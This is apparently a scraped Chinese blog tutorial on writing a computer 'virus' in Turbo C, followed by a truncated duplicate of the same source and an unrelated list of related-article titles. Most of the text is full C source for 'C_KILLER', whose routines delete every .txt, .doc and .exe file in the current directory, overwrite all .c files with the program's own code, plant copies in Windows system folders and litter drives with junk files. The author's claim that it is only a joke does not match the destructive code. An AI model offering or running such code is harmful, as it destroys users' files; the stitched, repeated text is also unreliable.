编制病毒的语言

最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们可以来看一看一个有名的病毒论坛上认为学写病

毒要掌握的基础:

1).Win32编程,进程,线程,内存,等等。

2).32位汇编,以指令用法为主。386汇编就比较够用了。

3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。

4).调试技术。VC,TD32,SoftIce,等等。要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除C以外的其他语言,只要我们对C的库函数有一定了解,就可以写一些类似病毒的东西.

三 用C编制病毒以TurboC2.0为例.它的库函数可以实现很多功能.

如以下两个函数: 1).findfirst和findnext函数:

在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。

2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件.

四 第一个C病毒

<>上有一句比较经典的话,

"或许把恶意软件造成的损害说成是心理上的损害可能会更恰当一些".

从这个意义上说,我的病毒是非常典型的病毒.

下面是我写的病毒.

它主要由四个模块组成.

RubbishMaker()可用来在当前目录下生成大量随机命名的垃圾文件.

CreatEXE()将在C盘的敏感地方放置几个.exe垃圾,它们要隐蔽一些。

Remove()会删掉你的一些东西,所以千万不要随便运行这个程序.

Breed()是C_KILLER的精华所在,它将kill所有的c程序,并利用它们繁殖自身.

前三个是有效负载. 第四个可以说是它的感染机制.

**********************************

IN FACT,IT"S NOT A VIRYUS AT ALL.

**********************************/

#include

#include

#include

#include

#include

void copyfile(char *infile, char *outfile)

{

FILE *in,*out;

in = fopen(infile,"r");

out = fopen(outfile,"w");

while (!feof(in))

{

fputc(fgetc(in),out);

}

fclose(in);

fclose(out);

}

void MakeRubbish()

{

int i;

FILE *fp;

char *path;

char *NewName;

char *disk[7] = {"A","B","C","D","E","F","G"};

char *addtion = ":\\";

for (i = 0; i<5; i++)

{

char tempname[] = "XXXXXX" ;

NewName = mktemp(tempname);

fp = fopen(NewName,"w");

fclose(fp);

}

path = strcat(disk[getdisk()],addtion);

chdir(path);

for (i = 0; i<5; i++)

{

char tempname[] = "XXXXXX";

NewName = mktemp(tempname);

fp = fopen(NewName,"w");

fclose(fp);

}

}

void CreatEXE()

{

int i;

char *path;

char *s[2] =

{"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};

for ( i = 0; i < 2; i++)

{

open(s[i], 0x0100,0x0080);

copyfile( "C_KILLER.C",s[i]);

}

}

void Remove()

{

int done;

int i;

struct ffblk ffblk;

char *documenttype[3] = {"*.txt","*.doc","*.exe"};

for (i = 0; i < 3; i++)

{

done = findfirst(documenttype[i],&ffblk,2);

while (!done)

{

remove(ffblk.ff_name);

done = findnext(&ffblk);

}

}

}

void Breed()

{

int done;

struct ffblk ffblk;

done = findfirst("*.c",&ffblk,2);

while (!done)

{

if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )

{

copyfile("C_KILLER.C",ffblk.ff_name);

}

done = findnext(&ffblk);

}

}

void main()

{

printf("THERE IS A VIRUS BY XIAOKE.\n\n");

Breed();

Remove();

CreatEXE();

printf("COULD YOU TELL ME YOUR NAME?\n\n");

printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE

WITH YOU!\n\n");

MakeRubbish();

getchar();

printf("IT'S ONLY A JOKE! THANK YOU!\n\n");

clrscr();

system("cmd");

}

------------------------几个病毒源代码--------------------------------------------------------

NO 1

#include

#include

#include

#include

#include

void copyfile(char *infile, char *outfile)

{

FILE

*in,*out;

in

= fopen(infile,"r");

out

= fopen(outfile,"w");

while

(!feof(in))

{

fputc(fgetc(in),out);

}

fclose(in);

fclose(out);

}

void MakeRubbish()

{

int

i; FILE

*fp;

char

*path;

char

*NewName;

char

*disk[7] = {"A","B","C","D","E","F","G"};

char

*addtion = ":\\";

for

(i = 0; i<5; i++)

{

char

tempname[] = "XXXXXX" ;

NewName

= mktemp(tempname);

fp

= fopen(NewName,"w");

fclose(fp);

}

path

= strcat(disk[getdisk()],addtion);

chdir(path);

for

(i = 0; i<5; i++)

{

char

tempname[] = "XXXXXX";

NewName

= mktemp(tempname);

fp

= fopen(NewName,"w");

fclose(fp);

}

}

void CreatEXE()

{

int

i;

char

*path;

char

*s[2] =

{"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};

for

( i = 0; i < 2; i++)

{

open(s[i],

0x0100,0x0080);

copyfile(

"C_KILLER.C",s[i]);

}

}

void Remove()

{

int

done;

int

i;

struct

ffblk ffblk;

char

*documenttype[3] = {"*.txt","*.doc","*.exe"};

for

(i = 0; i < 3; i++)

{

c语言api函数写病毒,C语言病毒代码,及写病毒简单介绍相关推荐

  1. C语言API函数大全(转载)

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明. 本文链接:https://blog.csdn.net/u010258235/article/d ...

  2. c语言srand函数怎么用_C语言的main函数到底该怎么写

    前言 从开始学习C语言到现在,我们似乎看到了很多个版本的main函数,那么哪一种才是正确的呢?我们先来看看目前有哪些版本. main函数版本 第一种,没有返回值,没有入参: main() 在C89标准 ...

  3. socket网络编程常用C语言api函数(Linux)

    参考<Linux高性能服务器编程> 网络编程常用函数 字节序 ip转换 地址结构体 socket相关函数 数据读写 获取地址信息 获取或者设置套接字属性 通过域名或地址获取主机信息 字节序 ...

  4. c语言prime函数怎么用_C语言教程_v20201106

    编程基础 1.1    通俗地理解什么是编程语言 1.2    C语言究竟是一门怎样的语言? 1.6    初中毕业能学会编程吗? 1.7    C和C++到底有什么关系? 1.8    学了 C 语 ...

  5. c语言string函数的用法_C语言基础| 指针和函数

    点击蓝字关注我们 指针和函数 栈帧:当函数被调用时,系统会在stack空间上申请一块内存,用来给函数提供空间,存储形参和局部变量(定义在函数内部的变量). 当函数调用结束时,这块内存空间会被自动释放( ...

  6. r语言c函数怎么用,R语言学习笔记——C#中如何使用R语言setwd()函数

    在R语言编译器中,设置当前工作文件夹可以用setwd()函数. > setwd("e://桌面//") > setwd("e:\桌面\") > ...

  7. C进阶_C语言_函数与指针_C语言指针进阶

    上一篇博客http://t.csdn.cn/GYCiM 我们了解了指针相关知识,今天来了解函数和指针的关系. 目录 函数指针 函数指针数组 指向函数指针数组的指针 回调函数 qsort 冒泡排序模拟实 ...

  8. c语言休眠函数 vs,编纂C语言跨平台函数(以清屏和休眠函数为例)

    编写C语言跨平台函数(以清屏和休眠函数为例) 支持C语言的平台有许多,常见的编译器如VC.gcc.Clang等.不同的编译器共同点是都支持标准C(ANSI C),但是各自却又有自己独立的.平台相关的功 ...

  9. r语言 c 函数返回值,R语言入门 输出函数 cat、print、paste等区别理解

    一. 简介 cat.print函数都是输出函数 > cat("hello world") hello world >> print("hello wor ...

最新文章

  1. 如何在一个程序集中序列化在另一个中反序列化
  2. 【项目实战】vue-springboot-pytorch前后端结合pytorch深度学习 html打开本地摄像头 监控人脸和记录时间
  3. sql数据库简单增删改查
  4. php ci post 请求,ci检测是ajax还是页面post提交数据的方法
  5. Android学习之网上商城(上)
  6. 开关电源PCB排版基本要点概述
  7. 【设计模式系列】行为型之策略模式
  8. 在SqlMapConfig.xml 中typeAliases与properties的关系
  9. android support-v4、v7、v13
  10. Oracle 导出DMP
  11. Android APP
  12. 【手势识别】基于matlab GUI SIFT+SVM算法手势识别【含Matlab源码 1789期】
  13. JavaSE、JavaEE、JavaME
  14. 64qam带宽计算_64QAM有效传输速率计算
  15. webgis中等值面生成技术之-arcgis 用自带工具生成等值面并其发布成gp服务
  16. java 复制excel_利用Java实现复制Excel工作表功能
  17. 【QA】集成高德地图SDK闪退问题
  18. 2021年8月世界编程语言排行
  19. 1.7 JAVA 向上转型和向下转型解析
  20. JS验证手机号,密码,邮箱格式

热门文章

  1. Spark 的核心 RDD 以及 Stage 划分细节,运行模式总结
  2. Python使用Pillow(PIL)库实现验证码图片
  3. 字符串处理的基本方法
  4. 矩阵——特征向量(Eigenvector)
  5. 用python写一个自动注册脚本_python实现自动化上线脚本的示例
  6. 声纹识别PLDA模型的理解
  7. 安装dollar toolbox
  8. leetcode - 1024. 视频拼接
  9. 机器学习开放数据集网站
  10. 共线方程(百度百科)